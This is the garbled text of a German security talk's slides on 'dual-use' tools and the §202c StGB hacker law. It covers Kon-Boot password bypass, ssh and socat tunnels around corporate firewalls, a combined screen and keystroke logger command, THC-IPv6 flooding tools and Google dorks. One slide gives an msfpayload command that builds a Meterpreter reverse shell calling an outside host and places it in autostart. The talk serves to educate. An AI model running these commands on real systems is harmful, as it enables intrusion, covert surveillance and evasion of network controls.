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Beispiel:	
  
	
  

	
  

DualUseTools	
  

Der	
  Hammer	
  





Oder?	
  





Sicherheitsbranche 
zutiefst verunsichert 

Hackerparagraph	
  zwingt	
  	
  
Sicherheitsexperten	
  ins	
  Exil	
  

Rundumschlag gegen Admins! 

Linux-User �
mit einem Fuß im 
Gefängnis! �

Konsequenz: !
Erste Firmen 
wandern ab!

!

Hackerparagraph	
  §	
  202c	
  StGB	
  



Und?	
  



Wie	
  sicher	
  ich	
  mich	
  ab?	
  

Dieser	
  Vortrag	
  dient	
  der	
  technischen	
  AuAlaerung.	
  
Nur	
  fuer	
  den	
  legalen	
  Gebrauch	
  gedacht.	
  
	
  
Viele	
  dieser	
  Techniken	
  sind	
  straFar	
  wenn	
  sie	
  gegen	
  
falsche	
  oder	
  fremde	
  Ziele	
  gerichtet	
  werden!	
  
Fragen	
  Sie	
  Ihren	
  Administrator,Provider,Arbeitgeber	
  oder	
  
google	
  wenn	
  Sie	
  sich	
  nicht	
  wirklich	
  sicher	
  sind,	
  was	
  Sie	
  
tun.	
  
	
  



1.	
  Konboot	
  
2.	
  Ssh-­‐socks-­‐tunnel	
  
3.	
  Screenlogger/Keylogger	
  
4.	
  THC	
  hydra	
  ipv6	
  -­‐>alive	
  script	
  with	
  
5.	
  Socat-­‐ssl-­‐tunnel	
  
6.Ftester	
  	
  
7.	
  (silent)	
  meterpreter	
  The]Protec^on	
  
8.	
  I’m	
  a	
  GoogleDork?	
  	
  

	
  
	
  
	
  

My	
  favorite	
  DualUseTools	
  	
  
OpenSource	
  
	
  



[root|admin]-­‐Passwort	
  vergessen?	
  
KONBOOT	
  modifiziert	
  Linux	
  oder	
  Windows	
  Kernel	
  waehrend	
  des	
  
Bootvorgangs.	
  
Passwort	
  checks	
  werden	
  “rausgepatched”	
  
	
  
Dannach	
  kann	
  man	
  sich	
  als	
  Root	
  oder	
  Administrator	
  	
  
ohne	
  Passwort	
  anmelden.	
  
	
  

	
  



Cooperate	
  
Firewall	
  

Our	
  ssh	
  
server	
  

ssh	
  socks	
  tunnel	
  
1.	
  ssh	
  	
  -­‐D	
  666	
  user@rootserver	
  
2.	
  point	
  your	
  Firefox	
  to	
  socks	
  proxy	
  127.0.0.1:666	
  

Ssh	
  tunnel	
  

	
  

www	
  

Internet	
  



ALLLOGGER	
  
=	
  	
  

screenlogger	
  &&	
  keylogger	
  
	
  	
  	
  

“script	
  –f	
  logfile	
  &&	
  logkeys	
  –start”	
  
	
  
	
  
	
  
	
  
	
  
	
  
	
  

	
  



THC-­‐IPv6	
  Toolkit	
  

	
  A	
  complete	
  set	
  of	
  tools	
  to	
  IPV6	
  

	
  



”alive6”	
  	
  

“alive6	
  br0“	
  
Findet	
  durch	
  die	
  Kombina^on	
  von	
  
verschiedenen	
  Techniker	
  ak^ve	
  IPv6	
  Hosts.	
  
	
  
	
  
z.B.	
  ping	
  -­‐I	
  eth0	
  ff02::1	
  
	
  
	
  
	
  
	
  



Ein	
  Teil	
  davon:	
  
“flood_router6”	
  

CVE-­‐2010-­‐4670,	
  CVE-­‐2010-­‐4671,	
  CVE-­‐2010-­‐4669	
  	
  
Microso]	
  does	
  not	
  want	
  to	
  fix	
  this	
  security	
  
issue	
  for	
  their	
  products,	
  it’s	
  a	
  design	
  issue	
  

	
  WTF?	
  



socat-­‐ssl-­‐tunnel	
  

Cooperate	
  
Firewall	
  

Our	
  server	
  

ssh	
  
connec^on	
  
	
  

Why?	
  
	
  



socat-­‐ssl-­‐tunnel	
  

Cooperate	
  
Firewall	
  

Our	
  server	
  

SSL	
  

ssh	
  
connec^on	
  
	
  

	
  



socat-­‐ssl-­‐tunnel	
  
ServerSide	
  
socat	
  openssl-­‐listen:433,fork,reuseaddr,cert=/root/
server.pem,cafile=/root/client.crt	
  TCP4:127.0.0.1:22	
  
	
  
ClientSide	
  
socat	
  tcp-­‐listen:666,fork,bind=127.0.0.1	
  openssl-­‐
connect:net-­‐war.de:433,cert=/home/swurth/
client.pem,cafile=/home/swurth/server.crt	
  



socat-­‐ssl-­‐tunnel	
  

ServerSide	
  
openssl-­‐listen:433	
  TCP4:127.0.0.1:22	
  
	
  
	
  
ClientSide	
  

tcp-­‐listen:666	
  net-­‐war.de:433	
  



Ftester	
   Cooperate	
  
Firewall	
  

Our	
  server	
  

1	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:80	
  S	
  TCP	
  0	
  
2	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:443	
  S	
  TCP	
  0	
  

1	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:80	
  S	
  TCP	
  0	
  
2	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:443	
  S	
  TCP	
  0	
  
4	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:22	
  S	
  TCP	
  0	
  
5	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:21	
  S	
  TCP	
  0	
  
6	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:666	
  S	
  TCP	
  0	
  
7	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:53	
  S	
  TCP	
  0	
  
8	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:4444	
  STCP	
  0	
  

1	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:80	
  S	
  TCP	
  0	
  
2	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:443	
  SATCP	
  0	
  
	
  
4	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:22	
  S	
  TCP	
  0	
  
5	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:21	
  S	
  TCP	
  0	
  
6	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:666	
  S	
  TCP	
  0	
  
7	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:53	
  S	
  TCP	
  0	
  
8	
  -­‐	
  172.23.0.107:1024	
  >	
  188.40.81.203:4444	
  STCP	
  0	
  

	
  



Meterpreter	
  als	
  Diebstahlschutz	
  
-­‐	
  oder	
  “einzige	
  coole	
  windows	
  shell”	
  

$	
  msfpayload	
  windows/meterpreter/reverse_tcp	
  
EXITFUNC=thread	
  \	
  	
  
LPORT=666	
  LHOST=8.8.8.8	
  R	
  |	
  \	
  	
  
./msfencode	
  -­‐x	
  my-­‐own-­‐backdoor.exe	
  
	
  
Und	
  ab	
  damit	
  in	
  den	
  Autostart!	
  

	
  



Nicht	
  	
  
OpenSource	
  	
  

aber	
  trotzdem	
  lus^g:	
  



	
  Am	
  I	
  a	
  GoogleDork?	
  
•  hwp://www.exploit-­‐db.com/google-­‐dorks/	
  
	
  
	
  



	
  Am	
  I	
  a	
  GoogleDork?	
  



	
  Am	
  I	
  a	
  GoogleDork?	
  

oder	
  
•  Example	
  “inurl:/level/15/exec/-­‐/configure/hwp”	
  
•  Default	
  Cisco	
  2800	
  Series	
  page...	
  









	
  


